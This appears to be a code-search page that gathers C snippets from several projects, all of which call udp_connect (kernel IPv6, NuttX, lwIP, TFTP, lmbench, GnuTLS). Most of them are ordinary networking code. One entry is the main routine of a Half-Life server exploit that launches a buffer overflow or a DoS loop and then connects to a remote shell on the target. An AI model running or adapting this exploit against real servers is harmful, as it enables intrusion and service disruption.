        fl.fl6_flowlabel = usin->sin6_flowinfo&IPV6_FLOWINFO_MASK;
        if (fl.fl6_flowlabel&IPV6_FLOWLABEL_MASK) {
            flowlabel = fl6_sock_lookup(sk, fl.fl6_flowlabel);
            if (flowlabel == NULL)
                return -EINVAL;
            ipv6_addr_copy(&usin->sin6_addr, &flowlabel->dst);
        }
    }

    addr_type = ipv6_addr_type(&usin->sin6_addr);

    if (addr_type == IPV6_ADDR_ANY) {
        /*
         *	connect to self
         */
        usin->sin6_addr.s6_addr[15] = 0x01;
    }

    daddr = &usin->sin6_addr;

    if (addr_type == IPV6_ADDR_MAPPED) {
        struct sockaddr_in sin;

        sin.sin_family = AF_INET;
        sin.sin_addr.s_addr = daddr->s6_addr32[3];
        sin.sin_port = usin->sin6_port;

        err = udp_connect(sk, (struct sockaddr*) &sin, sizeof(sin));

ipv4_connected:
        if (err < 0)
            return err;

        ipv6_addr_set(&np->daddr, 0, 0,
                      __constant_htonl(0x0000ffff),
                      sk->daddr);

        if(ipv6_addr_any(&np->saddr)) {
            ipv6_addr_set(&np->saddr, 0, 0,
                          __constant_htonl(0x0000ffff),
                          sk->saddr);
        }

        if(ipv6_addr_any(&np->rcv_saddr)) {
            ipv6_addr_set(&np->rcv_saddr, 0, 0,
                          __constant_htonl(0x0000ffff),
                          sk->rcv_saddr);
        }
        return 0;
    }

    if (addr_type&IPV6_ADDR_LINKLOCAL) {
        if (addr_len >= sizeof(struct sockaddr_in6) &&
                usin->sin6_scope_id) {
            if (sk->bound_dev_if && sk->bound_dev_if != usin->sin6_scope_id) {
                fl6_sock_release(flowlabel);
                return -EINVAL;
            }
            sk->bound_dev_if = usin->sin6_scope_id;
        }

        /* Connect to link-local address requires an interface */
        if (sk->bound_dev_if == 0)
            return -EINVAL;
    }

    ipv6_addr_copy(&np->daddr, daddr);
    np->flow_label = fl.fl6_flowlabel;

    sk->dport = usin->sin6_port;

    /*
     *	Check for a route to destination an obtain the
     *	destination cache for it.
     */

    fl.proto = IPPROTO_UDP;
    fl.fl6_dst = &np->daddr;
    fl.fl6_src = &saddr;
    fl.oif = sk->bound_dev_if;
    fl.uli_u.ports.dport = sk->dport;
    fl.uli_u.ports.sport = sk->sport;

    if (flowlabel) {
        if (flowlabel->opt && flowlabel->opt->srcrt) {
            struct rt0_hdr *rt0 = (struct rt0_hdr *) flowlabel->opt->srcrt;
            fl.fl6_dst = rt0->addr;
        }
    } else if (np->opt && np->opt->srcrt) {
        struct rt0_hdr *rt0 = (struct rt0_hdr *) np->opt->srcrt;
        fl.fl6_dst = rt0->addr;
    }

    dst = ip6_route_output(sk, &fl);

    if ((err = dst->error) != 0) {
        dst_release(dst);
        fl6_sock_release(flowlabel);
        return err;
    }

    ip6_dst_store(sk, dst, fl.fl6_dst);

    /* get the source adddress used in the apropriate device */

    err = ipv6_get_saddr(dst, daddr, &saddr);

    if (err == 0) {
        if(ipv6_addr_any(&np->saddr))
            ipv6_addr_copy(&np->saddr, &saddr);

        if(ipv6_addr_any(&np->rcv_saddr)) {
            ipv6_addr_copy(&np->rcv_saddr, &saddr);
            sk->rcv_saddr = LOOPBACK4_IPV6;
        }
        sk->state = TCP_ESTABLISHED;
    }
    fl6_sock_release(flowlabel);

    return err;
}
コード例 #18
0
ssize_t psock_udp_sendto(FAR struct socket *psock, FAR const void *buf,
                         size_t len, int flags, FAR const struct sockaddr *to,
                         socklen_t tolen)
{
  FAR struct udp_conn_s *conn;
  FAR struct net_driver_s *dev;
  struct sendto_s state;
  net_lock_t save;
  int ret;

#if defined(CONFIG_NET_ARP_SEND) || defined(CONFIG_NET_ICMPv6_NEIGHBOR)
#ifdef CONFIG_NET_ARP_SEND
#ifdef CONFIG_NET_ICMPv6_NEIGHBOR
  if (psock->s_domain == PF_INET)
#endif
    {
      FAR const struct sockaddr_in *into;

      /* Make sure that the IP address mapping is in the ARP table */

      into = (FAR const struct sockaddr_in *)to;
      ret = arp_send(into->sin_addr.s_addr);
    }
#endif /* CONFIG_NET_ARP_SEND */

#ifdef CONFIG_NET_ICMPv6_NEIGHBOR
#ifdef CONFIG_NET_ARP_SEND
  else
#endif
    {
      FAR const struct sockaddr_in6 *into;

      /* Make sure that the IP address mapping is in the Neighbor Table */

      into = (FAR const struct sockaddr_in6 *)to;
      ret = icmpv6_neighbor(into->sin6_addr.s6_addr16);
    }
#endif /* CONFIG_NET_ICMPv6_NEIGHBOR */

  /* Did we successfully get the address mapping? */

  if (ret < 0)
    {
      ndbg("ERROR: Peer not reachable\n");
      return -ENETUNREACH;
    }
#endif /* CONFIG_NET_ARP_SEND || CONFIG_NET_ICMPv6_NEIGHBOR */

  /* Set the socket state to sending */

  psock->s_flags = _SS_SETSTATE(psock->s_flags, _SF_SEND);

  /* Initialize the state structure.  This is done with interrupts
   * disabled because we don't want anything to happen until we
   * are ready.
   */

  save = net_lock();
  memset(&state, 0, sizeof(struct sendto_s));
  sem_init(&state.st_sem, 0, 0);
  state.st_buflen = len;
  state.st_buffer = buf;

#if defined(CONFIG_NET_SENDTO_TIMEOUT) || defined(NEED_IPDOMAIN_SUPPORT)
  /* Save the reference to the socket structure if it will be needed for
   * asynchronous processing.
   */

  state.st_sock = psock;
#endif

#ifdef CONFIG_NET_SENDTO_TIMEOUT
  /* Set the initial time for calculating timeouts */

  state.st_time = clock_systimer();
#endif

  /* Setup the UDP socket.  udp_connect will set the remote address in the
   * connection structure.
   */

  conn = (FAR struct udp_conn_s *)psock->s_conn;
  DEBUGASSERT(conn);

  ret = udp_connect(conn, to);
  if (ret < 0)
    {
      ndbg("ERROR: udp_connect failed: %d\n", ret);
      goto errout_with_lock;
    }

  /* Get the device that will handle the remote packet transfers.  This
   * should never be NULL.
   */

  dev = udp_find_raddr_device(conn);
  if (dev == NULL)
    {
      ndbg("ERROR: udp_find_raddr_device failed\n");
      ret = -ENETUNREACH;
      goto errout_with_lock;
   }

  /* Set up the callback in the connection */

  state.st_cb = udp_callback_alloc(dev, conn);
  if (state.st_cb)
    {
      state.st_cb->flags   = (UDP_POLL | NETDEV_DOWN);
      state.st_cb->priv    = (void*)&state;
      state.st_cb->event   = sendto_interrupt;

      /* Notify the device driver of the availability of TX data */

      netdev_txnotify_dev(dev);

      /* Wait for either the receive to complete or for an error/timeout to occur.
       * NOTES:  (1) net_lockedwait will also terminate if a signal is received, (2)
       * interrupts may be disabled!  They will be re-enabled while the task sleeps
       * and automatically re-enabled when the task restarts.
       */

      net_lockedwait(&state.st_sem);

      /* Make sure that no further interrupts are processed */

      udp_callback_free(dev, conn, state.st_cb);
    }

  /* The result of the sendto operation is the number of bytes transferred */

  ret = state.st_sndlen;

errout_with_lock:
  /* Release the semaphore */

  sem_destroy(&state.st_sem);

  /* Set the socket state back to idle */

  psock->s_flags = _SS_SETSTATE(psock->s_flags, _SF_IDLE);

  /* Unlock the network and return the result of the sendto() operation */

  net_unlock(save);
  return ret;
}
コード例 #19
0
ファイル: modlwip.c プロジェクト: opensourcekids/micropython
STATIC mp_obj_t lwip_socket_connect(mp_obj_t self_in, mp_obj_t addr_in) {
    lwip_socket_obj_t *socket = self_in;

    if (socket->pcb == NULL) {
        nlr_raise(mp_obj_new_exception_arg1(&mp_type_OSError, MP_OBJ_NEW_SMALL_INT(EBADF)));
    }

    // get address
    uint8_t ip[NETUTILS_IPV4ADDR_BUFSIZE];
    mp_uint_t port = netutils_parse_inet_addr(addr_in, ip, NETUTILS_BIG);

    ip_addr_t dest;
    IP4_ADDR(&dest, ip[0], ip[1], ip[2], ip[3]);

    err_t err = ERR_ARG;
    switch (socket->type) {
        case MOD_NETWORK_SOCK_STREAM: {
            if (socket->connected != 0) {
                if (socket->connected == 2) {
                    nlr_raise(mp_obj_new_exception_arg1(&mp_type_OSError, MP_OBJ_NEW_SMALL_INT(EALREADY)));
                } else {
                    nlr_raise(mp_obj_new_exception_arg1(&mp_type_OSError, MP_OBJ_NEW_SMALL_INT(EINPROGRESS)));
                }
            }
            // Register our recieve callback.
            tcp_recv((struct tcp_pcb*)socket->pcb, _lwip_tcp_recv);
            // Mark us as "connecting"
            socket->connected = 1;
            err = tcp_connect((struct tcp_pcb*)socket->pcb, &dest, port, _lwip_tcp_connected);
            if (err != ERR_OK) {
                socket->connected = 0;
                nlr_raise(mp_obj_new_exception_arg1(&mp_type_OSError, MP_OBJ_NEW_SMALL_INT(error_lookup_table[-err])));
            }
            socket->peer_port = (mp_uint_t)port;
            memcpy(socket->peer, &dest, 4);
            // And now we wait...
            if (socket->timeout != -1) {
                for (mp_uint_t retries = socket->timeout / 100; retries--;) {
                    mp_hal_delay_ms(100);
                    if (socket->connected != 1) break;
                }
                if (socket->connected == 1) {
                    nlr_raise(mp_obj_new_exception_arg1(&mp_type_OSError, MP_OBJ_NEW_SMALL_INT(ETIMEDOUT)));
                }
            } else {
                while (socket->connected == 1) {
                    mp_hal_delay_ms(100);
                }
            }
            if (socket->connected == 2) {
               err = ERR_OK;
            } else {
               err = socket->connected;
            }
            break;
        }
        case MOD_NETWORK_SOCK_DGRAM: {
            err = udp_connect((struct udp_pcb*)socket->pcb, &dest, port);
            break;
        }
    }

    if (err != ERR_OK) {
        nlr_raise(mp_obj_new_exception_arg1(&mp_type_OSError, MP_OBJ_NEW_SMALL_INT(error_lookup_table[-err])));
    }

    return mp_const_none;
}
コード例 #20
0
int lwip_sendto(int s, const void *dataptr, int size, unsigned int flags, 
	struct sockaddr *to, socklen_t tolen)
{
	sockfd_t	* fd;
	struct ip_addr	ip;
	struct pbuf	* pbuf = NULL;
	int		port, rv = 0;
	err_t		err;

	if (flags != 0) {
		errno = EINVAL;
		return -1;
	}

	s = sock_for_fd(s);
	if (s < 0) {
		errno = EBADF;
		return -1;
	}
	fd = fds + s;

	// Get access
	mutex_lock(fd->mutex);

	// Make sure we're doing UDP here... we don't support sendto for TCP.
	if (fd->tcppcb) {
		errno = EINVAL;
		rv = -1; goto out;
	}

	// We might not have a udppcb still, if we just did socket().
	if (!fd->udppcb)
		fd->udppcb = udp_new();

	// Convert the address to an lwIP-happy format
	ip.addr = ((struct sockaddr_in *)to)->sin_addr.s_addr;
	port = ((struct sockaddr_in *)to)->sin_port;

	// Make sure we have the recv callback setup.
	fd->recv = 0;
	udp_recv(fd->udppcb, recv_udp, (void *)s);

	// Connect this to the specified destination.
	if ((err = udp_connect(fd->udppcb, &ip, ntohs(port))) != ERR_OK) {
		printf("connect: err is %d\n", err);
		// XXX Imprecise
		errno = ENOMEM;
		rv = -1; goto out;
	}

	// Make a pbuf for the data we want to send.
	pbuf = pbuf_alloc(PBUF_RAW, size, PBUF_POOL);
	if (pbuf == NULL) {
		printf("couldn't alloc pbuf of size %d\n", size);
		errno = ENOMEM;
		rv = -1; goto out;
	}
	{
		struct pbuf *q;
		const uint8 * src = (const uint8 *)dataptr;
		int i;
		for (q=pbuf; q; q=q->next) {
			//printf("putting %d bytes into pbuf @ %p\n",
			//	q->len, q);
			for (i=0; i<q->len; i++)
				((u8_t *)q->payload)[i] = *(src++);
		}
	}
	//memcpy(pbuf->payload, dataptr, size);

	// Send the data on the socket.
	if ((err = udp_send(fd->udppcb, pbuf)) != ERR_OK) {
		printf("send: err is %d\n", err);
		// XXX Imprecise
		errno = ENOMEM;
		rv = -1; goto out;
	}

	// Let go of the pbuf before returning.
	pbuf_free(pbuf); pbuf = NULL;

out:
	if (pbuf)
		pbuf_free(pbuf);
	mutex_unlock(fd->mutex);	
	return rv;
}
コード例 #21
0
static int _tftpd_open(tftp_info_t *info,char *hostname,char *filename,int mode)
{
    ebuf_t *buf = NULL;
    uint16_t type;
    int res;
    int retries;
    char ch = 0;

    /*
     * Open a UDP socket
     */    

    info->tftp_socket = udp_socket(UDP_PROTO_TFTP);
    info->tftp_lastblock = 0;
    info->tftp_error = 0;
    info->tftp_filemode = mode;

    /*
     * Listen for requests
     */

    res = udp_bind(info->tftp_socket,UDP_PROTO_TFTP);
    if (res < 0) return res;

    res = CFE_ERR_TIMEOUT;

    for (retries = 0; retries < tftp_max_retries; retries++) {
	while (console_status()) {
	    console_read(&ch,1);
	    if (ch == 3) break;
	}
	if (ch == 3) {
	    res = CFE_ERR_INTR;
	    break;
	}

	buf = udp_recv_with_timeout(info->tftp_socket,tftp_recv_timeout);
	if (buf == NULL) continue;

	/*
	 * Process the request
	 */

	ebuf_get_u16_be(buf,type);

	switch (type) {
	    case TFTP_OP_RRQ:
		udp_connect(info->tftp_socket,(uint16_t) buf->eb_usrdata);
		memcpy(info->tftp_ipaddr,buf->eb_usrptr,IP_ADDR_LEN);
		info->tftp_blknum = 1;
		info->tftp_blklen = 0;
		res = 0;
		break;

	    case TFTP_OP_WRQ:
		udp_connect(info->tftp_socket,(uint16_t) buf->eb_usrdata);
		memcpy(info->tftp_ipaddr,buf->eb_usrptr,IP_ADDR_LEN);
		info->tftp_blknum = 0;
		res = _tftp_readmore(info);
		break;

	    default:
		/* 
		 * we aren't expecting any of these messages
		 */
		res = CFE_ERR_PROTOCOLERR;
		break;
	}

	udp_free(buf);
	break;
    }

    if (res) {
	udp_close(info->tftp_socket);
	info->tftp_socket = -1;
    }

    return res;
}
コード例 #22
0
int lwip_connect(int s, struct sockaddr *name, socklen_t namelen) {
	sockfd_t	* fd;
	struct ip_addr	ip;
	int		port, rv = 0;

	s = sock_for_fd(s);
	if (s < 0) {
		errno = EBADF;
		return -1;
	}
	fd = fds + s;

	// Make sure it's an internet address we understand.
	if (namelen != sizeof(struct sockaddr_in)) {
		errno = ENAMETOOLONG;
		return -1;
	}

	// Get access
	mutex_lock(fd->mutex);

	// Copy it over
	memcpy(&fd->name, name, namelen);

	// Convert this to an lwIP-happy format
	ip.addr = ((struct sockaddr_in *)name)->sin_addr.s_addr;
	port = ((struct sockaddr_in *)name)->sin_port;

	// Are we TCP or UDP?
	switch (fd->type) {
	case SOCK_STREAM:
		// This might have gotten made already, bind is valid on
		// outgoing sockets too.
		if (!fd->tcppcb)
			fd->tcppcb = tcp_new();
		tcp_arg(fd->tcppcb, (void *)s);
		tcp_recv(fd->tcppcb, recv_tcp);
		tcp_sent(fd->tcppcb, sent_tcp);
		tcp_poll(fd->tcppcb, poll_tcp, 4);	// 4 == 4 TCP timer intervals
		tcp_err(fd->tcppcb, err_tcp);
		if (tcp_connect(fd->tcppcb, &ip, ntohs(port), connect_tcp) != ERR_OK) {
			if (tcp_close(fd->tcppcb) != ERR_OK)
				tcp_abort(fd->tcppcb);
			fd->tcppcb = NULL;
			errno = EINVAL;
			rv = -1; goto out;
		}
		break;
	case SOCK_DGRAM:
		// This might have gotten made already, bind is valid on
		// outgoing sockets too.
		if (!fd->udppcb)
			fd->udppcb = udp_new();
		udp_recv(fd->udppcb, recv_udp, (void *)s);
		udp_connect(fd->udppcb, &ip, ntohs(port));
		break;
	default:
		assert( 0 );
		errno = EINVAL;
		rv = -1; goto out;
	}

	// If we are doing a TCP connect, we need to wait for the results
	// of the operation.
	if (fd->type == SOCK_STREAM) {
		// Wait for the result
		fd->connerr = 10;
		while (fd->connerr > 0) {
			cond_wait(fd->connect, fd->mutex);
		}

		// Convert error codes
		switch (fd->connerr) {
		case ERR_OK: break;
		
		case ERR_MEM:
		case ERR_BUF:
		case ERR_VAL:
		case ERR_ARG:
		case ERR_IF:
			errno = EINVAL;
			rv = -1;
			goto out;

		case ERR_ABRT:
		case ERR_RST:
		case ERR_CLSD:
		case ERR_CONN:
			errno = ECONNREFUSED;
			rv = -1;
			goto out;

		case ERR_RTE:
			errno = ENETUNREACH;
			rv = -1;
			goto out;

		case ERR_USE:
			errno = EADDRINUSE;
			rv = -1;
			goto out;
		}

		if (fd->connerr == ERR_OK) {
			// Init our counters
			fd->recv = 0;
			fd->send = tcp_sndbuf(fd->tcppcb);
		}
	}

out:
	mutex_unlock(fd->mutex);
	return rv;
}
コード例 #23
0
int main( int argc , char *argv[] )
{ 
unsigned long int addr;
long int offset;
int fd , usrtarg , port;


	fprintf( stdout , "                                                                  \n\n"
	                  "PRIV8 SECURITY & UHAGr CONFIDENTIAL EXPLOIT - DO NOT DISTRIBUTE !!! \n"
	                  "Halflife <= 1.1.1.0 , 3.1.1.1c1 and 4.1.1.1a exploit                \n"
	                  "Code by hkvig of UHAGr and wsxz of Priv8 Security                   \n"
	                  "Greetings to #priv8security & #!uhagr people                      \n\n" );

	if( argc != 4 && argc != 5 )
	{
		fprintf( stdout , "Usage: %s <Target id> <Host> <Offset> [<Server port>]\n\n"
	                          "Set offset to 0 if you don't like to use an offset\n\n" , argv[0] );
		list();
		return 0;
	}
	
	if( argc == 5 )
	{
		port = atoi( argv[4] );
		fprintf( stdout , "[+] Using port %d\n" , port );
	}
	else
		port = DEST_PORT;

	usrtarg = atoi( argv[1] );
	if( usrtarg >= sizeof( targets ) / sizeof( struct target ) - 1 )
	{
	fprintf( stdout , "[-] No such target in target list\n" );
	do_exit( NULL , NULL , 0 );
	}

        offset = atoi( argv[3] );
        fprintf( stdout , "[+] Using offset %#x + %#x\n" , targets[usrtarg].retaddr , offset );

	bzero( &server , sizeof( struct serverinfo ));

	fprintf( stdout , "[+] Looking up host ip addr\n" );
	addr = lookup_host( argv[2] );	
	sleep( 1 );

	
	fprintf( stdout , "[+] Establishing virtual udp connection\n" );
	fd = udp_connect( addr , port );
	sleep( 1 );	

	
	fprintf( stdout , "[+] Getting server info\n" );
	server_info( fd );
	sleep( 1 );

	fprintf( stdout , "[+] Server protocol %#x\n"
	                  "    Players         %#x\n"
	                  "    Proxy           %#x\n"
	                  "    Lan             %#x\n"
	                  "    Nplayers        %#x\n"
	                  "    Directory       %s \n"
	                  "    Description     %s \n"
	                  "    Host            %s \n"
	                  "    Type            %#x\n"
	                  "    Pass            %#x\n"
	                  "    Os              %#x\n"
	                  "    Security        %#x\n" ,
	                  server.protocol ,
	                  server.players ,
	                  server.proxytarget ,
	                  server.lan ,
	                  server.nplayers ,
	                  server.directory ,
	                  server.description ,
	                  server.host ,
	                  server.type ,
	                  server.pass ,
	                  server.os ,
	                  server.security );

	sleep( 1 );
	fprintf( stdout , "[+] Getting server challenge integer\n" );
	server_challenge( fd );

	fprintf( stdout , "    Server challenge is %s\n" , server.challenge );
	sleep( 1 );


	if( usrtarg == ( sizeof( targets ) / sizeof( struct target )) - 2 ) 
	{ 
		fprintf( stdout , "[+] Starting DoS attack - Ctrl+C to stop\n" );
		do_dos( fd , DELAY );
	}
	else // Real exploitation
	{
		fprintf( stdout , "[+] Exploiting halflife server\n" );
		do_bof_bsd( fd , targets[usrtarg] , offset );
	
		sleep( 1 );
		close( fd );

		sleep( 3 );
		fprintf( stdout , "[+] Connecting to our shell\n" );
		fd = tcp_connect( addr , 5074 );
	
		send( fd , INIT , sizeof( INIT ) , 0 );
		shell( fd );
	}	

	close( fd );
	return 0; 
}
コード例 #24
0
ファイル: server.c プロジェクト: liudezhi/glow-tube-clock
/**
  * @brief This function is called when an UDP datagrm has been received on the port UDP_PORT.
  * @param arg user supplied argument (udp_pcb.recv_arg)
  * @param pcb the udp_pcb which received data
  * @param p the packet buffer that was received
  * @param addr the remote IP address from which the packet was received
  * @param port the remote port from which the packet was received
  * @retval None
  */
void udp_server_callback(void *arg, struct udp_pcb *upcb, struct pbuf *p, struct ip_addr *addr, u16_t port)
{
  struct tcp_pcb *pcb;
  uint8_t iptab[4];
  uint8_t iptxt[20];
  
  /* We have received the UDP Echo from a client */
  /* read its IP address */
  iptab[0] = (uint8_t)((uint32_t)(addr->addr) >> 24);
  iptab[1] = (uint8_t)((uint32_t)(addr->addr) >> 16);
  iptab[2] = (uint8_t)((uint32_t)(addr->addr) >> 8);
  iptab[3] = (uint8_t)((uint32_t)(addr->addr));

  sprintf((char*)iptxt, "is: %d.%d.%d.%d     ", iptab[3], iptab[2], iptab[1], iptab[0]);
  
  printf( "is: %d.%d.%d.%d     ", iptab[3], iptab[2], iptab[1], iptab[0]);	                           	                             
 
  /* Connect to the remote client */
  udp_connect(upcb, addr, UDP_CLIENT_PORT);
    
  /* Tell the client that we have accepted it */
	udp_send(upcb,p);

  /* free the UDP connection, so we can accept new clients */
  udp_disconnect(upcb);
	
  /* Bind the upcb to IP_ADDR_ANY address and the UDP_PORT port*/
  /* Be ready to get a new request from another client */  
  udp_bind(upcb, IP_ADDR_ANY, UDP_SERVER_PORT);
	
  /* Set a receive callback for the upcb */
  udp_recv(upcb, udp_server_callback, NULL);    	
	
  /* Create a new TCP control block  */
  pcb = tcp_new();
	
  if(pcb !=NULL)
  {
    err_t err;	  
	      
    /* Assign to the new pcb a local IP address and a port number */
    err = tcp_bind(pcb, addr, TCP_SERVER_PORT);
	  
	if(err != ERR_USE)
	{
	  /* Set the connection to the LISTEN state */
      pcb = tcp_listen(pcb);
    
      /* Specify the function to be called when a connection is established */
      tcp_accept(pcb, tcp_server_accept);
	}
	else
	{
	  /* We enter here if a conection to the addr IP address already exists */
	  /* so we don't need to establish a new one */
	  tcp_close(pcb);
	}            
  }

  /* Free the p buffer */
  pbuf_free(p);
   
}
コード例 #25
0
ファイル: sendto.c プロジェクト: KimMui/i2sTest
ssize_t psock_sendto(FAR struct socket *psock, FAR const void *buf,
                     size_t len, int flags, FAR const struct sockaddr *to,
                     socklen_t tolen)
{
#ifdef CONFIG_NET_UDP
  FAR struct udp_conn_s *conn;
#ifdef CONFIG_NET_IPv6
  FAR const struct sockaddr_in6 *into = (const struct sockaddr_in6 *)to;
#else
  FAR const struct sockaddr_in *into = (const struct sockaddr_in *)to;
#endif
  struct sendto_s state;
  net_lock_t save;
  int ret;
#endif
  int err;

  /* If to is NULL or tolen is zero, then this function is same as send (for
   * connected socket types)
   */

  if (!to || !tolen)
    {
#ifdef CONFIG_NET_TCP
      return psock_send(psock, buf, len, flags);
#else
      ndbg("ERROR: No to address\n");
      err = EINVAL;
      goto errout;
#endif
    }

  /* Verify that a valid address has been provided */

#ifdef CONFIG_NET_IPv6
  if (to->sa_family != AF_INET6 || tolen < sizeof(struct sockaddr_in6))
#else
  if (to->sa_family != AF_INET || tolen < sizeof(struct sockaddr_in))
#endif
  {
      ndbg("ERROR: Invalid address\n");
      err = EBADF;
      goto errout;
  }

  /* Verify that the psock corresponds to valid, allocated socket */

  if (!psock || psock->s_crefs <= 0)
    {
      ndbg("ERROR: Invalid socket\n");
      err = EBADF;
      goto errout;
    }

  /* If this is a connected socket, then return EISCONN */

  if (psock->s_type != SOCK_DGRAM)
    {
      ndbg("ERROR: Connected socket\n");
      err = EISCONN;
      goto errout;
    }

  /* Make sure that the IP address mapping is in the ARP table */

#ifdef CONFIG_NET_ARP_SEND
  ret = arp_send(into->sin_addr.s_addr);
  if (ret < 0)
    {
      ndbg("ERROR: Not reachable\n");
      err = ENETUNREACH;
      goto errout;
    }
#endif

  /* Perform the UDP sendto operation */

#ifdef CONFIG_NET_UDP
  /* Set the socket state to sending */

  psock->s_flags = _SS_SETSTATE(psock->s_flags, _SF_SEND);

  /* Initialize the state structure.  This is done with interrupts
   * disabled because we don't want anything to happen until we
   * are ready.
   */

  save = net_lock();
  memset(&state, 0, sizeof(struct sendto_s));
  sem_init(&state.st_sem, 0, 0);
  state.st_buflen = len;
  state.st_buffer = buf;

  /* Set the initial time for calculating timeouts */

#ifdef CONFIG_NET_SENDTO_TIMEOUT
  state.st_sock = psock;
  state.st_time = clock_systimer();
#endif

  /* Setup the UDP socket */

  conn = (FAR struct udp_conn_s *)psock->s_conn;
  ret = udp_connect(conn, into);
  if (ret < 0)
    {
      net_unlock(save);
      err = -ret;
      goto errout;
    }

  /* Set up the callback in the connection */

  state.st_cb = udp_callback_alloc(conn);
  if (state.st_cb)
    {
      state.st_cb->flags   = UDP_POLL;
      state.st_cb->priv    = (void*)&state;
      state.st_cb->event   = sendto_interrupt;

      /* Notify the device driver of the availabilty of TX data */

      netdev_txnotify(conn->ripaddr);

      /* Wait for either the receive to complete or for an error/timeout to occur.
       * NOTES:  (1) net_lockedwait will also terminate if a signal is received, (2)
       * interrupts may be disabled!  They will be re-enabled while the task sleeps
       * and automatically re-enabled when the task restarts.
       */

      net_lockedwait(&state.st_sem);

      /* Make sure that no further interrupts are processed */

      udp_callback_free(conn, state.st_cb);
    }

  net_unlock(save);
  sem_destroy(&state.st_sem);

  /* Set the socket state to idle */

  psock->s_flags = _SS_SETSTATE(psock->s_flags, _SF_IDLE);

  /* Check for errors */

  if (state.st_sndlen < 0)
    {
      err = -state.st_sndlen;
      goto errout;
    }

  /* Success */

  return state.st_sndlen;
#else
  err = ENOSYS;
#endif

errout:
  set_errno(err);
  return ERROR;
}
コード例 #26
0
ファイル: bw_udp.c プロジェクト: hirokiht/lmbench-NoMMU
int
main(int ac, char **av)
{
	int	parallel = 1;
	int	warmup = 0;
	int	repetitions = -1;
	int	server = 0;
	state_t state;
	char	*usage = "-s\n OR [-m <message size>] [-W <warmup>] [-N <repetitions>] server [size]\n OR -S serverhost\n";
	int	c;
	uint64	usecs;
	
	state.msize = 0;
	state.move = 10*1024*1024;

	/* Rest is client argument processing */
	while (( c = getopt(ac, av, "sS:m:W:N:")) != EOF) {
		switch(c) {
		case 's': /* Server */
#ifdef CONFIG_NOMMU
			if (vfork() == 0) {
				server_main();
				_exit(0);
			}
#else
			if (fork() == 0) {
				server_main();
			}
#endif
			exit(0);
		case 'S': /* shutdown serverhost */
		{
			int seq, n;
			int sock = udp_connect(optarg,
					       UDP_XACT,
					       SOCKOPT_NONE);
			for (n = -1; n > -5; --n) {
				seq = htonl(n);
				(void) send(sock, &seq, sizeof(int), 0);
			}
			close(sock);
			exit (0);
		}
		case 'm':
			state.msize = atoi(optarg);
			break;
		case 'W':
			warmup = atoi(optarg);
			break;
		case 'N':
			repetitions = atoi(optarg);
			break;
		default:
			lmbench_usage(ac, av, usage);
			break;
		}
	}

	if (optind < ac - 2 || optind >= ac) {
		lmbench_usage(ac, av, usage);
	}

	state.server = av[optind++];
	if (optind < ac) {
		state.move = bytes(av[optind]);
	}
	if (state.msize == 0) {
		state.msize = state.move;
	}
	/* make the number of bytes to move a multiple of the message size */
	if (state.move % state.msize) {
		state.move += state.move - state.move % state.msize;
	}

	state.buf = valloc(state.msize);
	if (!state.buf) {
		perror("valloc");
		exit(1);
	}
	touch(state.buf, state.msize);

	/*
	 * Make one run take at least 5 seconds.
	 * This minimizes the effect of connect & reopening TCP windows.
	 */
	benchmp(init, loop_transfer, cleanup, LONGER, parallel, warmup, repetitions, &state );

out:	(void)fprintf(stderr, "socket UDP bandwidth using %s: ", state.server);
	mb(state.move * get_n() * parallel);
}
コード例 #27
0
ファイル: ex-client-udp.c プロジェクト: jothan/gnutls
int
main (void)
{
  int ret, sd, ii;
  gnutls_session_t session;
  char buffer[MAX_BUF + 1];
  const char *err;
  gnutls_certificate_credentials_t xcred;

  gnutls_global_init ();

  /* X509 stuff */
  gnutls_certificate_allocate_credentials (&xcred);

  /* sets the trusted cas file */
  gnutls_certificate_set_x509_trust_file (xcred, CAFILE, GNUTLS_X509_FMT_PEM);

  /* Initialize TLS session */
  gnutls_init (&session, GNUTLS_CLIENT|GNUTLS_DATAGRAM);

  /* Use default priorities */
  ret = gnutls_priority_set_direct (session, "NORMAL", &err);
  if (ret < 0)
    {
      if (ret == GNUTLS_E_INVALID_REQUEST)
        {
          fprintf (stderr, "Syntax error at: %s\n", err);
        }
      exit (1);
    }

  /* put the x509 credentials to the current session */
  gnutls_credentials_set (session, GNUTLS_CRD_CERTIFICATE, xcred);

  /* connect to the peer */
  sd = udp_connect ();

  gnutls_transport_set_ptr (session, (gnutls_transport_ptr_t) sd);
  
  /* set the connection MTU */
  gnutls_dtls_set_mtu (session, 1000);

  /* Perform the TLS handshake */
  ret = gnutls_handshake (session);

  if (ret < 0)
    {
      fprintf (stderr, "*** Handshake failed\n");
      gnutls_perror (ret);
      goto end;
    }
  else
    {
      printf ("- Handshake was completed\n");
    }

  gnutls_record_send (session, MSG, strlen (MSG));

  ret = gnutls_record_recv (session, buffer, MAX_BUF);
  if (ret == 0)
    {
      printf ("- Peer has closed the TLS connection\n");
      goto end;
    }
  else if (ret < 0)
    {
      fprintf (stderr, "*** Error: %s\n", gnutls_strerror (ret));
      goto end;
    }

  printf ("- Received %d bytes: ", ret);
  for (ii = 0; ii < ret; ii++)
    {
      fputc (buffer[ii], stdout);
    }
  fputs ("\n", stdout);

  /* It is suggested not to use GNUTLS_SHUT_RDWR in DTLS
   * connections because the peer's closure message might
   * be lost */
  gnutls_bye (session, GNUTLS_SHUT_WR);

end:

  udp_close (sd);

  gnutls_deinit (session);

  gnutls_certificate_free_credentials (xcred);

  gnutls_global_deinit ();

  return 0;
}
コード例 #28
0
/**
 * Ethernet to PERF task
 *
 * @param none  
 * @return none
 */
void
BRIDGE_PERF_Task( void *pvParameters )
{   
    struct ip_addr  xIpAddr, xNetMast, xGateway;
    extern err_t ethernetif_init( struct netif *netif );

    SIM_SCGC6 |= SIM_SCGC6_PIT_MASK;//enable PIT
    
    /* Parameters are not used - suppress compiler error */
    ( void )pvParameters;
    
    tcpip_init( NULL, NULL );

    /* Create and configure the FEC interface. */
    IP4_ADDR( &xIpAddr, configIP_ADDR0, configIP_ADDR1, configIP_ADDR2, configIP_ADDR3 );
    IP4_ADDR( &xNetMast, configNET_MASK0, configNET_MASK1, configNET_MASK2, configNET_MASK3 );
    IP4_ADDR( &xGateway, configGW_ADDR0, configGW_ADDR1, configGW_ADDR2, configGW_ADDR3 );
    netif_add( &ENET_if, &xIpAddr, &xNetMast, &xGateway, NULL, ethernetif_init, tcpip_input );    
    
    /* make it the default interface */
    netif_set_default( &ENET_if );

    /* bring it up */
    netif_set_up( &ENET_if );

#if BENCHMARK_PROTOCOL
//**********************************UDP**********************************//
    {
     struct udp_pcb *remote_pcb;
      
